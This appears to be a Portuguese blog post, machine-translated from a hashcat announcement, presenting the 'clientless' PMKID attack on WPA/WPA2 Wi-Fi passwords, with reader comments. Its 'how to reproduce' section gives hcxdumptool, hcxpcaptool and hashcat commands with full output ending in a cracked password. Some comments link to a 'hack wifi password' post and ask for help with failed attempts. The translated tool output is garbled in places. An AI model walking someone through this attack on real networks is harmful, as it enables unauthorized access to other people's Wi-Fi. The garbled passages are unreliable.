Novo ataque ao WPA / WPA 2 usando o PMKID

Resultado de imagem para wifi attack
Neste artigo, descreverei uma nova técnica para quebrar as senhas WPA PSK (Pre-Shared Key). 

Para poder usar este novo ataque, você precisa das seguintes ferramentas:

Esse ataque foi descoberto acidentalmente enquanto procurava novas maneiras de atacar o novo padrão de segurança WPA3. O WPA3 será muito mais difícil de ser atacado por causa de seu moderno protocolo de estabelecimento de chave chamado "Autenticação Simultânea de Iguais" (SAE). 

A principal diferença dos ataques existentes é que, neste ataque, a captura de um handshake de 4 vias completo do EAPOL não é necessária. O novo ataque é realizado no RSN IE (Elemento de Informações de Rede de Segurança Robusta) de um único quadro EAPOL. 

No momento, não sabemos para quais fornecedores ou quantos roteadores essa técnica funcionará, mas achamos que ela funcionará em todas as redes 802.11i / p / q / r com as funções de roaming ativadas (a maioria dos roteadores modernos). 

As principais vantagens deste ataque são as seguintes:
  • Não é necessário mais usuários regulares - porque o invasor se comunica diretamente com o AP (também conhecido como ataque "sem cliente")
  • Não há mais espera por um handshake completo de 4 vias entre o usuário regular e o AP
  • Não mais retransmissões eventuais de quadros EAPOL (o que pode levar a resultados não quebráveis)
  • Não mais senhas inválidas eventuais enviadas pelo usuário regular
  • Não há mais quadros EAPOL perdidos quando o usuário comum ou o AP está muito longe do invasor
  • Não é necessário fixar mais os valores de nonce e replaycounter (resultando em velocidades ligeiramente mais altas)
  • Não há mais formato de saída especial (pcap, hccapx, etc.) - os dados finais aparecerão como uma string codificada por hex regular



Detalhes do ataque: 

O RSN IE é um campo opcional que pode ser encontrado em quadros de gerenciamento 802.11. Um dos recursos do RSN é o PMKID. 

[Image: wireshark_pmkid.png]

O PMKID é calculado usando HMAC-SHA1, onde a chave é o PMK e a parte de dados é a concatenação de um rótulo de sequência fixa "PMK Name", o endereço MAC do ponto de acesso e o endereço MAC da estação.

Código:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Como o PMK é o mesmo que em um handshake regular de 4 vias EAPOL, este é um vetor de ataque ideal. 

Nós recebemos todos os dados que precisamos no primeiro quadro EAPOL do AP.



Como reproduzir: 

1. Execute o hcxdumptool para solicitar o PMKID do AP e despejar o quadro recebido em um arquivo (no formato pcapng).

Código:
$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status

Saída:

Citação:iniciar a captura (parar com ctrl + c) 
INTERFACE: ...............: wlp39s0f3u4u5 
FILTERLIST ...............: 0 entradas 
MAC CLIENTE ...............: 89acf0e761f4 (cliente) 
PONTO DE ACESSO MAC .........: 4604ba734d4e (iniciar NIC) 
TEMPO LIMITE DO EAPOL ......... ...: 20000 
DEAUTHENTICATIONINTERVALL: 10 beacons 
desistem de desarenizações: 20 tentativas 
REPLAYCOUNTER ............: 62083 
ANONCE ................... : 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

Se um AP receber nosso pacote de solicitação de associação e suportar o envio de PMKID, veremos uma mensagem "FOUND PMKID" depois de um momento:

Citação:[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4] 
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [RESOLUÇÃO DA ASSOCIAÇÃO, 
SEQÜÊNCIA 1206] [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

Nota: Com base no ruído do canal wifi, pode levar algum tempo para receber o PMKID. Recomendamos executar o hcxdumptool até 10 minutos antes de abortar. 

2. Execute o hcxpcaptool para converter os dados capturados do formato pcapng para um formato de hash aceito pelo hashcat.

Código:
$ ./hcxpcaptool -z test.16800 test.pcapng

Saída:

Citação:começar a ler do 

resumo test.pcapng 
-------- 
nome do arquivo ....................: 
tipo de arquivo test.pcapng .... ................: 
informações do hardware do arquivo pcapng 1.0 ....: 
arquivo x86_64 as informações ..........: 
aplicativo de arquivo Linux 4.17.11-arch1 informações .: hcxdumptool 4.2.0 
tipo de rede .................: DLT_IEEE802_11_RADIO (127) 
endianess .................. ..: little endian 
leu erros ..................: 
pacotes sem falhas dentro ...............: 66 
pacotes ignorados .. ............: 0 
pacotes com FCS .............: 0 
beacons (com ESSID no interior) ..: 17 
pedidos de sondas ...... .........: 1 
respostas da sonda ..............: 11
pedidos de associação .........: 5 
respostas de associação ........: 5 
autenticações (SISTEMA ABERTO): 13 
autenticações (BROADCOM) ...: 1 
pacotes EAPOL ....... .........: 14 
EAPOL PMKIDs .................: 1 

1 PMKID (s) escritas para test.16800

O conteúdo do arquivo escrito ficará assim:

Citação:2582a8281bf9d4308d6f5731d0e61c61 * 4604ba734d4e * 89acf0e761f4 * ed487162465a774bfba60eb603a39f3a

As colunas são as seguintes (todas codificadas com hexadecimal):
  • PMKID
  • MAC AP
  • Estação MAC
  • ESSID

Nota: Embora não seja obrigatório, recomenda-se usar as opções -E -I e -U com o hcxpcaptool. Podemos usar esses arquivos para alimentar o hashcat. Eles geralmente produzem bons resultados.
  • -E recuperar possíveis senhas do tráfego WiFi (adicional, esta lista incluirá ESSIDs)
  • -Eu recupero identidades do tráfego de WiFi
  • -U recupera nomes de usuários do tráfego de WiFi

Código:
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3. Execute o hashcat para quebrá-lo. 

Basicamente, podemos atacar esse hash como qualquer outro tipo de hash. O modo de hash que precisamos usar é 16800.

Código:
$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

Saída:

Citação:hashcat (v4.2.0) começando ... 

OpenCL Platform # 1: NVIDIA Corporation 
=============================== ======= 
* Dispositivo nº 1: GeForce GTX 1080, 2028/8112 MB alocáveis, 20MCU 
* Dispositivo nº 2: GeForce GTX 1080, 2029/8119 MB alocáveis, 20MCU 
* Dispositivo nº 3: GeForce GTX 1080, 2029 / 8119 MB alocáveis, 20MCU 
* Dispositivo nº 4: GeForce GTX 1080, 2029/8119 MB alocáveis, 20MCU 

Hashes: 1 digests; 1 digests únicos, 1 sais únicos 
Bitmaps: 16 bits, 65536 entradas, máscara 0x0000ffff, 262144 bytes, 5/13 rotações 

Otimizadores aplicáveis: 
* Zero-Byte 
* Hash 
Único 
Sal Único * Força Bruta 
* Slow-Hash-SIMD -LOOP 

Comprimento mínimo da senha suportado pelo kernel: 8
Comprimento máximo da senha suportado pelo kernel: 63 

Watchdog: gatilho de anulação de temperatura definido como 90c 

2582a8281bf9d4308d6f5731d0e61c61 * 4604ba734d4e * 89acf0e761f4 * ed487162465a774bfba60eb603a39f3a: hashcat! 

Sessão ..........: hashcat 
Status ...........: Cracked 
Hash.Type ........: WPA-PMKID-PBKDF2 
Hash.Target ... ...: 2582a8281bf9d4308d6f5731d0e61c61 * 4604ba734d4e * 89acf ... a39f3a 
Time.Started .....: Thu Jul 26 12:51:38 2018 (41 segundos) 
Tempo.Estimado ...: Qui Jul 26 12:52:19 2018 (0 segs) 
Guess.Mask .......:? L? L? L? L? L? Lt! [8] 
Guess.Queue ......: 1/1 (100.00%) 
Speed.Dev. # 1 .....: 408.9 kH / s (103.86ms) @ Accel: 64 Loops: 128 Thr: 1024 Vec: 1
Speed.Dev. # 2 .....: 408.6 kH / s (104.90ms) @ Accel: 64 Circuitos: 128 Thr: 1024 Vec: 1 
Speed.Dev. # 3 .....: 412.9 kH / s ( 102.50 ms) @ Accel: 64 Loops: 128 Thr: 1024 Vec: 1 
Speed.Dev. # 4 .....: 410,9 kH / s (104,66 ms) @ Accel: 64 Loops: 128 Thr: 1024 Vec: 1 
Velocidade .Dev. # * .....: 1641.3 kH / s 
Recuperado ........: 1/1 (100.00%) Digestos, 1/1 (100.00%) Sais 
Progresso ....... ..: 66846720/308915776 (21.64%) 
Rejeitado .........: 0/66846720 (0.00%) 
Restore.Point ....: 0/11881376 (0.00%) 
Candidatos. # 1 ... .: hariert! -> hhzkzet! 
Candidatos # 2 ....: hdtivst! -> hzxkbnt! 
Candidatos # 3 ....: gnxpwet! - gwqivst! 
Candidatos # 4 ....: gxhcddt! -> grjmrut!
HWMon.Dev. # 1 .....: Temp: 81c Ventilador: 54% Util: 75% Núcleo: 1771MHz Mem: 4513MHz Barramento: 1 
HWMon.Dev. # 2 .....: Temp: 81c Ventilador: 54 % Util: 100% Núcleo: 1607MHz Mem: 4513MHz Barramento: 1 
HWMon.Dev. # 3 .....: Temp: 81c Ventilador: 54% Util: 94% Núcleo: 1683MHz Mem: 4513MHz Barramento: 1 
HWMon.Dev. # 4 .....: Temp: 81c Ventilador: 54% Util: 93% Núcleo: 1620MHz Mem: 4513MHz Barramento: 1 

Iniciado: Qui Jul 26 12:51:30 2018 
Interrompido: Qui Jul 26 12:52:21 2018

Também há suporte para o modo de hash 16801, que permite ignorar o cálculo do PMK - que é a computação que torna o WPA cracker tão lento. Pré-computação PMK pode ser útil nos casos em que você está no site e você não pode transferir um hash para um equipamento de craqueamento remoto por causa de um NDA. O objetivo é executar o hashcat no seu notebook, que você pode trazer para o site. 

O modo 16801 espera uma lista de PMKs pré-computados, como seqüências hexadecimais de comprimento 64, como a lista de palavras de entrada. Para pré-computar os PMKs, você pode usar a ferramenta hcxkeys. As ferramentas do hcxkeys requerem o ESSID, portanto, você precisa solicitar o ESSID do seu cliente com antecedência.


FONTE:SECURITY STACKEXCHANGE

Comentários

  1. http://cybersecurityup.blogspot.com/2018/08/como-hackear-senha-wifi-usando.html mais detalhado

    ResponderExcluir
  2. Este comentário foi removido pelo autor.

    ResponderExcluir
  3. Obtive o PMKID mas não deu certo. Alguma sugestão?

    hcxpcaptool -z hashtocrack hash

    summary:
    --------
    file name....................: hash
    file type....................: pcapng 1.0
    file hardware information....: x86_64
    file os information..........: Linux 4.18.0-kali1-amd64
    file application information.: hcxdumptool 4.2.1
    network type.................: DLT_IEEE802_11_RADIO (127)
    endianess....................: little endian
    read errors..................: flawless
    packets inside...............: 2
    skipped packets..............: 0
    packets with GPS data........: 0
    packets with FCS.............: 2
    probe responses..............: 2

    ResponderExcluir
  4. Alguém sabe o que quer dizer o tal "M1M2" quando uma mensagem diferente de pmkid found aparece?

    ResponderExcluir
  5. Bacana. Passei algum tempo longe, logo logo vou tentar o ataque pra me atualizar

    ResponderExcluir

Postar um comentário